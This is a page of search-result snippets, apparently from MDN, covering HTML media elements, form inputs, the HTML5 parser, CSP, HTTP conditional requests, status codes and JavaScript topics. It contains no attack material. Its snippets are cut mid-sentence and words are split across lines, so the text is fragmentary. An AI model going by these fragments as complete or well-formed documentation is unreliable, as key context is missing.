...ngs are quite short. since some buttons have dual functionality, e.g. play/pause, and mute/unmute, these buttons have different states that need to be styled. as mentioned earlier, a `data-state` variable is used to indicate which state such buttons are currently in. for example, the play/pause button has the following background image definitions (the full base64 strings have been omitted for b
revity): .controls button[data-state="play"] { background-image: url('data:image/png;base64,ivborw0kggoaaa ... '); } .controls button[data-state="pause"] { background-image: url('data:image/png;base64,ivborw0kggoaaa ... '); } when the data-state of the button is changed, the appropriate image will also be changed. all the other buttons are treated in a similar way. progress bar the <progre...
...der-radius:2px; -webkit-border-radius:2px; border-radius:2px; } like the <button> elements, <progress> also has a default border, which is removed here. it is also given a slight rounded corner for aesthetic reasons. the color property is also defined here as internet explorer uses this defined colour for styling the progress bar's background colour as it increases. ...
Audio and Video Delivery - Developer guides
find more about web audio api basics in using the web audio api. getusermedia / stream api it's also possible to retrieve a live stream from a webcam and/or microphone using get...
...ple clear key decryption to high value video (given an appropriate user agent implementation). license/key exchange is controlled by the application, facilitating the development of robust playback applications supporting a range of content decryption and protection technologies. one of the principle uses of eme is to allow browsers to implement drm (digital rights management), which helps to p
revent web-based content (especially video) from being copied. adaptive streaming new formats and protocols are being rolled out to facilitate adaptive streaming. adaptive streaming media means that the bandwidth and typically quality of the stream can change in real-time in reaction to the user's available bandwidth. adaptive streaming is often used in conjunction with live streaming where smooth ...
... uri specification was added to gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6). at this time, this is the only part of the media fragments uri specification implemented by gecko, and it can only be used when specifying the source for media elements, and not in the address bar. error handling starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), error handling has been
revised to match the latest version of the html5 specification. instead of the error event being dispatched to the media element itself, it now gets delivered to the child <source> elements corresponding to the sources resulting in the error. this lets you detect which sources failed to load, which may be useful. consider this html: <video> <source id="mp4_src" src="video.mp4" type='video/mp4; ...
...: gratis and open source (mit licensed.) web audio api audiocontext monkeypatch: a polyfill for older versions of the web audio api; open source (apache 2 licensed.) basic tutorials creating a cross-browser video player a guide to creating a basic cross browser video player using the <video> element. video player styling basics with the cross-browser video player put in place in the p
revious article, this article now looks at providing some basic, reponsive styling for the player. cross-browser audio basics this article provides a basic guide to creating an html5 audio player that works cross browser, with all the associated attributes, properties and events explained, and a quick guide to custom controls created using the media api. media buffering, seeking, and time ...
HTML5 Parser - Developer guides
es these major improvements: you can now use svg and mathml inline in html5 pages, without xml namespace syntax. parsing is now done in a separate thread from firefox’s main ui thread, improving overall browser responsiveness. calls to innerhtml are a lot faster. dozens of long-standing parser related bugs are now fixed. the html5 specification provides a more detailed description than p
revious html standards of how to turn a stream of bytes into a dom tree. this will result in more consistent behavior across browser implementations. in other words, in supporting html5, gecko, webkit, and internet explorer (ie) will behave more consistently with each other. changed parser behaviors some changes to the way that the gecko 2 parser behaves, as compared to earlier versions of gecko, m...
...ns of gecko, may affect web developers, depending on how you've written your code in the past and what browsers you've tested it on. tokenization of left angle-bracket within a tag given the string <foo<bar>, the new parser reads it as one tag named foo<bar. this behavior is consistent with ie and opera, and is different from gecko 1.x and webkit, which read it as two tags, foo and bar. if you p
reviously tested your code in ie and opera, then you probably don't have any tags like this. if you tested your site only with gecko 1.x or webkit (for example, firefox-only intranets or webkit-oriented mobile sites), then you might have tags that match this pattern, and they will behave differently with gecko 2. calling document.write() during parsing prior to html5, gecko and webkit allowed calls...
... probably don't have that problem. if you forget to close a comment, the page will most likely fail to be parsed. however, unclosed comments often already break in existing browsers for one reason or another, so it's unlikely that you have this issue in sites that are tested in multiple browsers. in an inline script, in order to use the literal strings <script, </script>, and <!--, you should p
revent them from being parsed literally by expressing them as \u003cscript,\u003c/script>, and \u003c!--. the older practice of escaping the string </script> by surrounding it with comment markers, while supported by html5, is problematic in cases where the closing comment marker is omitted (see preceding point). you can avoid such problems by using the character code for the initial '<' instead. (it...
...., <\/script>, but this strategy does not work for <script and <!--, because \s and \! are not valid javascript escapes; the character code strategy is more general-purpose.) inline svg and mathml support as a completely new parsing feature, html5 introduced support for inline svg and mathml in text/html. this means that you can now use svg and mathml inline in text/html similarly to what has p
reviously been possible in application/xhtml+xml. <svg>…</svg> is assigned to the svg namespace in the dom. <math>…</math> is assigned to the mathml namespace in the dom. foreignobject and annotation-xml (and various less important elements) establish a nested html scope, so you can nest svg, mathml and html as you’d expect to be able to nest them. the parser case-corrects markup so <svg ...
<input type="radio"> - HTML: Hypertext Markup Language
rm data at all, since there is no value to report. it's fairly uncommon to actually want to allow the form to be submitted without any of the radio buttons in a group selected, so it is usually wise to have one default to the checked state. see selecting a radio button by default below. let's add a little bit of code to our example so we can examine the data generated by this form. ...
... additional attributes in addition to the common attributes shared by all <input> elements, radio inputs support the following attributes: attribute description checked a boolean indicating whether or not this radio button is the currently-selected it...
...he string on by default. this is demonstrated in the section value above. using radio inputs we already covered the fundamentals of radio buttons above. let's now look at the other common radio-button-related features and techniques you may need to know about. ...
... this is demonstrated in the section value above. using radio inputs we already covered the fundamentals of radio buttons above. let's now look at the other common radio-button-related features and techniques you may need to know about. ...
<input type="search"> - HTML: Hypertext Markup Language
only (safari, chrome, opera, etc.). mozactionhint a string indicating the type of action that will be taken when the user presses the enter or return key while editing the field; this is used to determine an appropriate label for that key on a virtual keyboard. firefox for android only. results the maximum number of items that should be displayed in the drop-down list of p
revious search queries. safari only. autocorrect a safari extension, the autocorrect attribute is a string which indicates whether or not to activate automatic correction while the user is editing this field. permitted values are: on enable automatic correction of typos, as well as processing of text substitutions if any are configured. off disable automatic correction and text substi...
...change being implemented in firefox, see bug 1490661. permitted values are: go, done, next, search, and send. the browser decides, using this hint, what label to put on the enter key. results the results attribute—supported only by safari—is a numeric value that lets you override the maximum number of entries to be displayed in the <input> element's natively-provided drop-down menu of p
revious search queries. the value must be a non-negative decimal number. if not provided, or an invalid value is given, the browser's default maximum number of entries is used. using search inputs <input> elements of type search are very similar to those of type text, except that they are specifically intended for handling search terms. they are basically equivalent in behavior, but user agents m...
...wise nothing will be submitted. differences between search and text types the main basic differences come in the way browsers handle them. the first thing to note is that some browsers show a cross icon that can be clicked on to remove the search term instantly if desired. the following screenshot comes from chrome: in addition, modern browsers also tend to automatically store search terms p
reviously entered across domains, which then come up as autocomplete options when subsequent searches are performed in search inputs on that domain. this helps users who tend to do searches on the same or similar search queries over time. this screenshot is from firefox: at this point, let's look at some useful techniques you can apply to your search forms. setting placeholders you can provide a u...
...ut by the screenreader; it's used as a non-visual equivalent to <label>. let's have a look at an example: <form role="search"> <div> <input type="search" id="mysearch" name="q" placeholder="search the site..." aria-label="search through site content"> <button>search</button> </div> </form> you can see how this is rendered below: there is no visual difference from the p
revious example, but screenreader users have way more information available to them. note: see signposts/landmarks for more information about such accessibility features. physical input element size the physical size of the input box can be controlled using the size attribute. with it, you can specify the number of characters the input box can display at a time. in this example, for instance, th...
<sup>: The Superscript element - HTML: Hypertext Markup Language
ign: super or, to shift the baseline up 50%, vertical-align: 50%. appropriate use cases for <sup> include (but aren't necessarily limited to): displaying exponents, such as "x3." it may be worth considering the use of mathml for these, especially in more complex cases. see exponents under examples below. displaying superior lettering, which is used in some languages when rendering certain abb
reviations. for example, in french, the word "mademoiselle" can be abb
reviated "mlle"); this is an acceptable use case. see superior lettering for examples. representing ordinal numbers, such as "4th" instead of "fourth." see ordinal numbers for examples. examples exponents exponents, or powers of a number, are among the most common uses of superscripted text. for example: <p>one of the most co...
... <p>one of the most common equations in all of physics is <var>e</var>=<var>m</var><var>c</var><sup>2</sup>.<p> the resulting output looks like this: superior lettering superior lettering is not technically the same thing as superscript. however, it is common to use <sup> to present superior lettering in html. ...
... the same thing as superscript. however, it is common to use <sup> to present superior lettering in html. ...
...ost common uses of superior lettering is the presentation of certain abb
reviations in french: <p>robert a présenté son rapport à m<sup>lle</sup> bernard.</p> the resulting output: ordinal numbers ordinal numbers, such as "fourth" in english or "quinto" in spanish may be abb
reviated using numerals and language-specific text rendered in superscript: <p>the ordinal number "fifth" can be abb
reviated in various languages as follows:</p> <ul> <li>english: 5<sup>th</sup></li> <li>french: 5<sup>ème</sup></li> </ul> the output: specifications specification status comment html living standardthe definition of '<sub> and <sup>' in that specification. living standard html5the definition of '<sub> and <sup>;' in that specification. recomme...
<video>: The Video Embed element - HTML: Hypertext Markup Language
her words, it sends the origin: http header with a cookie, a certificate, or performing http basic authentication. if the server does not give credentials to the origin site (through access-control-allow-credentials: http header), the image will be tainted and its usage restricted. when not present, the resource is fetched without a cors request (i.e. without sending the origin: http header), p
reventing its non-tainted used in <canvas> elements. if invalid, it is handled as if the enumerated keyword anonymous was used. see cors settings attributes for additional information. currenttime reading currenttime returns a double-precision floating-point value indicating the current playback position of the media specified in seconds. if the media has not started playing yet, the time offset ...
...ossible that the user agent may not be able to obtain some parts of the resource if that data has expired from the media buffer. other media may have a media timeline that doesn't start at 0 seconds, so setting currenttime to a time before that would fail. the getstartdate() method can be used to determine the beginning point of the media timeline's reference frame. disablepictureinpicture p
revents the browser from suggesting a picture-in-picture context menu or to request picture-in-picture automatically in some cases. disableremoteplayback a boolean attribute used to disable the capability of remote playback in devices that are attached using wired (hdmi, dvi, etc.) and wireless technologies (miracast, chromecast, dlna, airplay, etc). in safari, you can use x-webkit-airplay="deny...
...ibility concerns videos should provide both captions and transcripts that accurately describe its content (see adding captions and subtitles to html5 video for more information on how to implement these). captions allow people who are experiencing hearing loss to understand a video's audio content as the video is being played, while transcripts allow people who need additional time to be able to
review audio content at a pace and format that is comfortable for them. it's worth noting that while you can caption audio-only media, you can only do so when playing audio in a <video> element, since the video region of the element is used to present the captions. this is one of the special scenarios in which it's useful to play audio in a video element. if automatic captioning services are used, ...
...t a pace and format that is comfortable for them. it's worth noting that while you can caption audio-only media, you can only do so when playing audio in a <video> element, since the video region of the element is used to present the captions. this is one of the special scenarios in which it's useful to play audio in a video element. if automatic captioning services are used, it is important to
review the generated content to ensure it accurately represents the source video. in addition to spoken dialog, subtitles and transcripts should also identify music and sound effects that communicate important information. this includes emotion and tone: 14 00:03:14 --> 00:03:18 [dramatic rock music] 15 00:03:19 --> 00:03:21 [whispering] what's that off in the distance? 16 00:03:22 --> 00:03:24 i...
HTML elements reference - HTML: Hypertext Markup Language
the html inline text semantic to define the meaning, structure, or style of a word, line, or any arbitrary piece of text. element description <a> the html <a> element (or anchor element), with its href attribute, creates a hyperlink to web pages, files, email addresses, locations in the same page, or anything else a url can address. <abbr> the html abb
reviation element (<abbr>) represents an abb
reviation or acronym; the optional title attribute can provide an expansion or description for the abb
reviation. <b> the html bring attention to element (<b>) is used to draw the reader's attention to the element's contents, which are not otherwise granted special importance. <bdi> the html bidirectional isolate element (<bdi>) ...
...r showing the completion progress of a task, typically displayed as a progress bar. <select> the html <select> element represents a control that provides a menu of options <textarea> the html <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a
review or feedback form. interactive elements html offers a selection of elements which help to create interactive user interface objects. element description <details> the html details element (<details>) creates a disclosure widget in which information is visible only when the widget is toggled into an "open" state. <dialog> the html <dialog> e...
...lements which are deprecated and should not be used. you should never use them in new projects, and should replace them in old projects as soon as you can. they are listed here for informational purposes only. element description <acronym> the html acronym element (<acronym>) allows authors to clearly indicate a sequence of characters that compose an acronym or abb
reviation for a word. <applet> the obsolete html applet element (<applet>) embeds a java applet into the document; this element has been deprecated in favor of <object>. <basefont> the obsolete html base font element (<basefont>) sets a default font face, size, and color for the other elements which are descended from its parent element. <bgsound> the interne...
...tton. <multicol> the html multi-column layout element (<multicol>) was an experimental element designed to allow multi-column layouts and must not be used. <nextid> <nextid> is an obsolete html element that served to enable the next web designing tool to generate automatic name labels for its anchors. <nobr> the non-standard, obsolete html <nobr> element p
revents the text it contains from automatically wrapping across multiple lines, potentially resulting in the user having to scroll horizontally to see the entire width of the text. <noembed> the <noembed> element is an obsolete, non-standard way to provide alternative, or "fallback", content for browsers that do not support the <embed> element or do not support the type of embedded cont...
itemprop - HTML: Hypertext Markup Language
an item with one property, "birthday", whose value is a date <div itemscope> i was born on <time itemprop="birthday" datetime="2009-05-10">may 10th 2009</time>. </div> properties can also be groups of name-value pairs, by putting...
... an item with one property, "birthday", whose value is a date <div itemscope> i was born on <time itemprop="birthday" datetime="2009-05-10">may 10th 2009</time>. </div> properties can also be groups of name-value pairs, by putting the itemscope attribute on the eleme...
..." and "band". the "name" is "amanda", and the "band" is an item in its own right, with two properties, "name" and "size". the "name" of the band is "jazz band", and the "size" is "12". the outer item in this example is a top-level microdata item. items that are not part of others are called top-level microdata items. ...
...the first item has two properties, "name", set to "amanda", and "band", set to another item. that second item has two further properties, "name", set to "jazz band", and "size", set to "12". an item can have multiple properties with the same name and different values. ice cream with two flavors <div itemscope> <p>flavors in my favorite ice cream:</p> <ul> <li itemprop="flavor"...
itemtype - HTML: Hypertext Markup Language
escription">sleeker than acme's classic anvil, the executive anvil is perfect for the business traveler looking for something to drop from a height. ...
...s classic anvil, the executive anvil is perfect for the business traveler looking for something to drop from a height. ...
...order now! </span> </div> result html structured data itemscope itemtype product (http://schema.org/product) itemprop name executive anvil itemprop image https://pixabay.com/static/uploads/photo/2015/09/05/18/15/suitcase-92...
...ription sleeker than acme's classic anvil, the executive anvil is perfect for the business traveler looking for something to drop from a height. ...
Content Security Policy (CSP) - HTTP
g a series of policy directives, each of which describes the policy for a certain resource type or policy area. your policy should include a default-src policy directive, which is a fallback for other resource types when they don't have policies of their own (for a complete list, see the description of the default-src directive). a policy needs to include a default-src or script-src directive to p
revent inline scripts from running, as well as blocking the use of eval(). a policy needs to include a default-src or style-src directive to restrict inline styles from being applied from a <style> element or a style attribute. there are specific directives for a wide variety of types of items, so that each type can have its own policy, including fonts, frames, images, audio and video media, scripts,...
...ent's origin, with the following exceptions: images may load from anywhere (note the "*" wildcard). media is only allowed from media1.com and media2.com (and not from subdomains of those sites). executable script is only allowed from userscripts.example.com. example 4 a web site administrator for an online banking site wants to ensure that all its content is loaded using tls, in order to p
revent attackers from eavesdropping on requests. content-security-policy: default-src https://onlinebanking.jumbobank.com the server permits access only to documents being loaded specifically over https through the single origin onlinebanking.jumbobank.com. example 5 a web site administrator of a web mail site wants to allow html in email, as well as images loaded from anywhere, but not javascrip...
...script-src; with the example csp, this site uses the setting specified by the default-src directive, which means that scripts can be loaded only from the originating server. testing your policy to ease deployment, csp can be deployed in report-only mode. the policy is not enforced, but any violations are reported to a provided uri. additionally, a report-only header can be used to test a future
revision to a policy without actually deploying it. you can use the content-security-policy-report-only http header to specify your policy, like this: content-security-policy-report-only: policy if both a content-security-policy-report-only header and a content-security-policy header are present in the same response, both policies are honored. the policy specified in content-security-policy heade...
... ...
HTTP conditional requests - HTTP
http has a concept of conditional requests, where the result, and even the success of a request, can be changed by comparing the affected resources with the value of a validator. such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when p
reventing to lose updates when uploading or modifying a document on the server. principles http conditional requests are requests that are executed differently, depending on the value of specific headers. these headers define a precondition, and the result of the request will be different if the precondition is matched or not. the different behaviors are defined by the method of the request used, and by the set of headers used for a precondit...
...st wasn't conditional and the client uses this new resource (and caches it). besides the setting of the validators on the server side, this mechanism is transparent: all browsers manage a cache and send such conditional requests without any special work to be done by web developers. integrity of a partial download partial downloading of files is a functionality of http that allows to resume p
revious operations, saving bandwidth and time, by keeping the already obtained information: a server supporting partial downloads broadcasts this by sending the accept-ranges header. once this happens, the client can resume a download by sending a ranges header with the missing ranges: the principle is simple, but there is one potential problem: if the downloaded resource has been modified betw...
...by sending the accept-ranges header. once this happens, the client can resume a download by sending a ranges header with the missing ranges: the principle is simple, but there is one potential problem: if the downloaded resource has been modified between both downloads, the obtained ranges will correspond to two different versions of the resource, and the final document will be corrupted. to p
revent this, conditional requests are used. for ranges, there are two ways of doing this. the more flexible one makes use of if-unmodified-since and if-match and the server returns an error if the precondition fails; the client then restarts the download from the beginning: even if this method works, it adds an extra response/request exchange when the document has been changed. this impairs perfor...
...he change is simply rejected with a 412 precondition failed error. it is then up to the client to deal with the error: either by notifying the user to start again (this time on the newest version), or by showing the user a diff of both versions, helping them decide which changes they wish to keep. dealing with the first upload of a resource the first upload of a resource is an edge case of the p
revious. like any update of a resource, it is subject to a race condition if two clients try to perform at the similar times. to p
revent this, conditional requests can be used: by adding if-none-match with the special value of '*', representing any etag. the request will succeed, only if the resource didn't exist before: if-none-match will only work with http/1.1 (and later) compliant servers. if ...
Content negotiation - HTTP
e followed by a '/' and a version number, like firefox/4.0.1. there may be as many of them as the user-agent wants. a comment is a free string delimited by parentheses. obviously parentheses cannot be used in that string. the inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by ';'. ...
... the special value of '*' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content. the vary header was added in the version 1.1 of http and is necessary in order to allow caches to work appropriately. ...
...sion 1.1 of http and is necessary in order to allow caches to work appropriately. a cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. that way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. obviously, the wildcard '*' p
revents caching from occurring, as the cache cannot know what element is behind it. agent-driven negotiation server-driven negotiation suffers from a few downsides: it doesn't scale well. there is one header per feature used in the negotiation. if you want to use screen size, resolution or other dimensions, a new http header must be created. sending of the headers must be done on every request. thi...
...ation type: agent-driven negotiation or reactive negotiation. in this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. the user is presented the resources and choose the one to use. unfortunately, the http standard does not specify the format of the page allowing to choose between the available resource, which p
revents to easily automatize the process. besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with javascript redirection: after having checked for the negotiation criteria, the script performs the redirection. a second problem is that one more request is needed in order to fetch the real resource, slowing the availability...
HTTP response status codes - HTTP
uld be used by the client in future requests. 303 see other the server sent this response to direct the client to get the requested resource at another uri with a get request. 304 not modified this is used for caching purposes. it tells the client that the response has not been modified, so the client can continue to use the same cached version of the response. 305 use proxy defined in a p
revious version of the http specification to indicate that a requested response must be accessed by a proxy. it has been deprecated due to security concerns regarding in-band configuration of a proxy. 306 unused this response code is no longer used; it is just reserved. it was used in a p
revious version of the http/1.1 specification. 307 temporary redirect the server sends this response to direct...
... acceptable this response is sent when the web server, after performing server-driven content negotiation, doesn't find any content that conforms to the criteria given by the user agent. 407 proxy authentication required this is similar to 401 but authentication is needed to be done by a proxy. 408 request timeout this response is sent on an idle connection by some servers, even without any p
revious request by the client. it means that the server would like to shut down this unused connection. this response is used much more since some browsers, like chrome, firefox 27+, or ie9, use http pre-connection mechanisms to speed up surfing. also note that some servers merely shut down the connection without sending this message. 409 conflict this response is sent when a request conflicts with...
...t by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request uri. 422 unprocessable entity (webdav) the request was well-formed but was unable to be followed due to semantic errors. 423 locked (webdav) the resource that is being accessed is locked. 424 failed dependency (webdav) the request failed due to failure of a p
revious request. 425 too early indicates that the server is unwilling to risk processing a request that might be replayed. 426 upgrade required the server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. the server sends an upgrade header in a 426 response to indicate the required protocol(s). 428 precondit...
... might be replayed. 426 upgrade required the server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. the server sends an upgrade header in a 426 response to indicate the required protocol(s). 428 precondition required the origin server requires the request to be conditional. this response is intended to p
revent the 'lost update' problem, where a client gets a resource's state, modifies it, and puts it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict. 429 too many requests the user has sent too many requests in a given amount of time ("rate limiting"). 431 request header fields too large the server is unwilling to process the request beca...
Closures - JavaScript
ithin the source code to determine where that variable is available. nested functions have access to variables declared in their outer scope. closure consider the following code example: function makefunc() { var name = 'mozilla'; function displayname() { alert(name); } return displayname; } var myfunc = makefunc(); myfunc(); running this code has exactly the same effect as the p
revious example of the init() function above. what's different (and interesting) is that the displayname() inner function is returned from the outer function before being executed. at first glance, it might seem unintuitive that this code still works. in some programming languages, the local variables within a function exist for just the duration of that function's execution. once makefunc() finishe...
...vatecounter += val; } return { increment: function() { changeby(1); }, decrement: function() { changeby(-1); }, value: function() { return privatecounter; } }; })(); console.log(counter.value()); // 0. counter.increment(); counter.increment(); console.log(counter.value()); // 2. counter.decrement(); console.log(counter.value()); // 1. in p
revious examples, each closure had its own lexical environment. here though, there is a single lexical environment that is shared by the three functions: counter.increment, counter.decrement, and counter.value. the shared lexical environment is created in the body of an anonymous function, which is executed as soon as it has been defined (also known as an iife). the lexical environment contains two ...
.... the reason is that whenever the constructor is called, the methods would get reassigned (that is, for every object creation). ...
...n this.message; } }; however, redefining the prototype is not recommended. the following example instead appends to the existing prototype: function myobject(name, message) { this.name = name.tostring(); this.message = message.tostring(); } myobject.prototype.getname = function() { return this.name; }; myobject.prototype.getmessage = function() { return this.message; }; in the two p
revious examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation. see details of the object model for more. ...
Control flow and error handling - JavaScript
this chapter provides an overview of these statements. the javascript reference contains exhaustive details about the statements in this chapter. the semicolon (;) character is used to separate statements in javascript code. any javascript expression is also a statement. see expressions and operators for complete information about expressions. block statement the most basic statement is a block statement, which is used to group statements. ...
...production, regardless of any return statements in the try and catch blocks: function f() { try { console.log(0); throw 'bogus'; } catch(e) { console.log(1); return true; // this return statement is suspended // until finally block has completed console.log(2); // not reachable } finally { console.log(3); return false; // overwrites the p
revious "return" console.log(4); // not reachable } // "return false" is executed now console.log(5); // not reachable } console.log(f()); // 0, 1, 3, false overwriting of return values by the finally block also applies to exceptions thrown or re-thrown inside of the catch block: function f() { try { throw 'bogus'; } catch(e) { console.log('caught inner "bogus"'); throw...
... // while f() executes, the `finally` block returns false, // which overwrites the `throw` inside the above `catch` console.log('caught outer "bogus"'); } // output // caught inner "bogus" // false nesting try...catch statements you can nest one or more try...catch sta...
...n dosomethingerrorprone() { if (ourcodemakesamistake()) { throw (new error('the message')); } else { dosomethingtogetajavascripterror(); } } ⋮ try { dosomethingerrorprone(); } catch (e) { // now, we actually use `console.error()` console.error(e.name); // logs 'error' console.error(e.message); // logs 'the message', or a javascript error message } « p
reviousnext » ...
Indexed collections - JavaScript
« p
reviousnext » this chapter introduces collections of data which are ordered by an index value. this includes arrays and array-like constructs such as array objects and typedarray objects. array object an array is an ordered list of values that you refer to with a name and an index. for example, consider an array called emp, which contains employees' names indexed by their numerical employee number. so emp[0] would be employee number zero, emp[1] employee number one, and so on. javascript does not have an explicit array data type. however, you can use the predefined array object and its methods to work with arrays in your applications. the array object has methods for manipulating arrays in various ways, such as joining,
reversing, and sorting them. it has a property ...
...elements from an array and (optionally) replaces them. it returns the items which were removed from the array. let myarray = new array('1', '2', '3', '4', '5') myarray.splice(1, 3, 'a', 'b', 'c', 'd') // myarray is now ["1", "a", "b", "c", "d", "5"] // this code started at index one (or where the "2" was), // removed 3 elements there, and then inserted all consecutive // elements in its place.
reverse() transposes the elements of an array, in place: the first array element becomes the last and the last becomes the first. it returns a reference to the array. let myarray = new array('1', '2', '3') myarray.
reverse() // transposes the array so that myarray = ["3", "2", "1"] sort() sorts the elements of an array in place, and returns a reference to the array. let myarray = new array('wind',...
...tialvalue is specified, then callback is called with initialvalue as the first parameter value and the value of the first item in the array as the second parameter value. if initialvalue is not specified, then callback's first two parameter values will be the first and second elements of the array. on every subsequent call, the first parameter's value will be whatever callback returned on the p
revious call, and the second parameter's value will be the next value in the array. if callback needs access to the index of the item being processed, on access to the entire array, they are available as optional parameters. let a = [10, 20, 30] let total = a.reduce(function(accumulator, currentvalue) { return accumulator + currentvalue }, 0) console.log(total) // prints 60 reduceright(callback[,...
...icted double double bigint64array -263 to 263-1 8 64-bit two's complement signed integer bigint int64_t (signed long long) biguint64array 0 to 264-1 8 64-bit unsigned integer bigint uint64_t (unsigned long long) for more information, see javascript typed arrays and the reference documentation for the different typedarray objects. « p
reviousnext » ...
Introduction - JavaScript
what you should already know this guide assumes you have the following basic background: a general understanding of the internet and the world wide web (www). good working knowledge of hypertext markup language (html). some programming experience. if you are new to programming, try one of the tutorials linked on the main page about javascript. where to find javascript information the javascript documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of programming and the internet. ...
...ng pages, this guide introduces you to the javascript syntax and language features, so that you will be able to write more complex applications. but for now, remember to always include the (function(){"use strict"; before your code, and add })(); to the end of your code. ...
... language features, so that you will be able to write more complex applications. but for now, remember to always include the (function(){"use strict"; before your code, and add })(); to the end of your code. ...
... of your code. you will learn what these mean, but for now they can be thought of as doing the following: massively improve performance. p
revent stupid semantics in javascript that trip up beginners. ...
Using Promises - JavaScript
since most people are consumers of already-created promises, this guide will explain consumption of returned promises before explaining how to create them. essentially, a promise is a returned object to which you attach callbacks, instead of passing callbacks into a function. imagine a function, createaudiofileasync(), which asynchronously generates a sound file given a configuration record and two callback functions, one called if the audio file is successfully created, and the other called if an error occurs. ...
...uccess or failure of the asynchronous operation. multiple callbacks may be added by calling then() several times. each callback is executed one after another, in the order in which they were inserted. one of the great things about using promises is chaining. chaining a common need is to execute two or more asynchronous operations back to back, where each subsequent operation starts when the p
revious operation succeeds, with the result from the p
revious step. we accomplish this by creating a promise chain. here's the magic: the then() function returns a new promise, different from the original: const promise = dosomething(); const promise2 = promise.then(successcallback, failurecallback); or const promise2 = dosomething().then(successcallback, failurecallback); this second promise ...
...llback) is short for then(null, failurecallback). you might see this expressed with arrow functions instead: dosomething() .then(result => dosomethingelse(result)) .then(newresult => dothirdthing(newresult)) .then(finalresult => { console.log(`got the final result: ${finalresult}`); }) .catch(failurecallback); important: always return results, otherwise callbacks won't catch the result of a p
revious promise (with arrow functions () => x is short for () => { return x; }). chaining after a catch it's possible to chain after a failure, i.e. a catch, which is useful to accomplish new actions even after an action failed in the chain. read the following example: new promise((resolve, reject) => { console.log('initial'); resolve(); }) .then(() => { throw new error('something fai...
...de runtime. you can capture these for analysis and handling by your code—or just to avoid having them cluttering up your output—by adding a handler for the unhandledrejection event, like this: window.addeventlistener("unhandledrejection", event => { /* you might start here by adding code to examine the promise specified by event.promise and the reason in event.reason */ event.p
reventdefault(); }, false); by calling the event's p
reventdefault() method, you tell the javascript runtime not to do its default action when rejected promises go unhandled. that default action usually involves logging the error to console, and this is indeed the case for node. ideally, of course, you should examine the rejected promises to make sure none of them are actual code bugs before just d...
Web video codec guide - Web media technologies
motion will appear. eventually the point of diminishing returns is reached. see frame rate below for details. assuming the frame rate is not reduced during encoding, higher frame rates cause larger compressed video sizes. motion compression of video typically works by comparing frames, finding where they differ, and constructing records containing enough information to update the p
revious frame to approximate the appearance of the following frame. the more successive frames differ from one another, the larger these differences are, and the less effective the compression is at avoiding the introduction of artifacts into the compressed video. the complexity introduced by motion results in larger intermediate frames due to the higher number of differences between frames). for ...
... or curved edges that should be smooth take on a jagged appearance, looking somewhat like a set of stair steps. this is the effect that is being reduced by "anti-aliasing" filters. wagon-wheel effect the wagon-wheel effect (or stroboscopic effect) is the visual effect that's commonly seen in film, in which a turning wheel appears to rotate at the wrong speed, or even in
reverse, due to an interaction between the frame rate and the compression algorithm. the same effect can occur with any repeating pattern that moves, such as the ties on a railway line, posts along the side of a road, and so forth. this is a temporal (time-based) aliasing issue; the speed of the rotation interferes with the frequency of the sampling performed during compression or encoding. ...
...esigned to support efficient encoding and decoding of video in sizes including very high resolutions (including 8k video), with a structure specifically designed to let software take advantage of modern processors. theoretically, hevc can achieve compressed file sizes half that of avc but with comparable image quality. for example, each coding tree unit (ctu)—similar to the macroblock used in p
revious codecs—consists of a tree of luma values for each sample as well as a tree of chroma values for each chroma sample used in the same coding tree unit, as well as any required syntax elements. this structure supports easy processing by multiple cores. an interesting feature of hevc is that the main profile supports only 8 bit per component color with 4:2:0 chroma subsampling. also interestin...
... to alter the grays to create color pixels), the three channels are instead treated as three monochrome images, one for each color, which are then combined during rendering to produce a full-color image. hevc is a proprietary format and is covered by a number of patents. licensing is managed by mpeg la; fees are charged to developers rather than to content producers and distributors. ...
Codecs used by WebRTC - Web media technologies
the webrtc api makes it possible to construct web sites and apps that let users communicate in real time, using audio and/or video as well as optional data and other information. to communicate, the two devices need to be able to agree upon a mutually-understood codec for each track so they can successfully communicate and present the shared media. this guide
reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc. containerless media webrtc uses bare mediastreamtrack objects for each track being shared from one peer to another, without a container or even a mediastream associated with the tracks. which codecs can be within those tracks is not mandated by the webrtc specification. however, rfc 7742 specifies that all w...
...ver, rfc 7742 specifies that all webrtc-compatible browsers must support vp8 and h.264's constrained baseline profile for video, and rfc 7874 specifies that browsers must support at least the opus codec as well as g.711's pcma and pcmu formats. these two rfcs also lay out options that must be supported for each codec, as well as specific user comfort features such as echo cancelation. this guide
reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for webrtc. while compression is always a necessity when dealing with media on the web, it's of additional importance when videoconferencing in order to ensure that the participants are able to communicate without lag or interruptions. of secondary importance is the need to keep the v...
...e requirement. mandatory video codecs codec name profile(s) browser compatibility vp8 — chrome, edge, firefox, safari (12.1+) avc / h.264 constrained baseline (cb) chrome (52+), edge, firefox[1], safari [1] firefox for android 68 and later do not support avc (h.264) anymore. this is due to a change in google play store requirements that p
revent firefox from downloading and installing the openh264 codec needed to handle h.264 in webrtc connections. see this article on sumo for details. for details on webrtc-related considerations for each codec, see the sub-sections below by following the links on each codec's name. complete details of what video codecs and configurations webrtc is required to support can be found in rfc 7742: webrt...
...portance in these objects: the payloadtype property, which is a one-byte value which uniquely identifies the described configuration. note: the two methods for obtaining lists of codecs shown here use different output types in their codec lists. be aware of this when using the results. customizing the codec list once you have a list of the available codecs, you can alter it and then send the
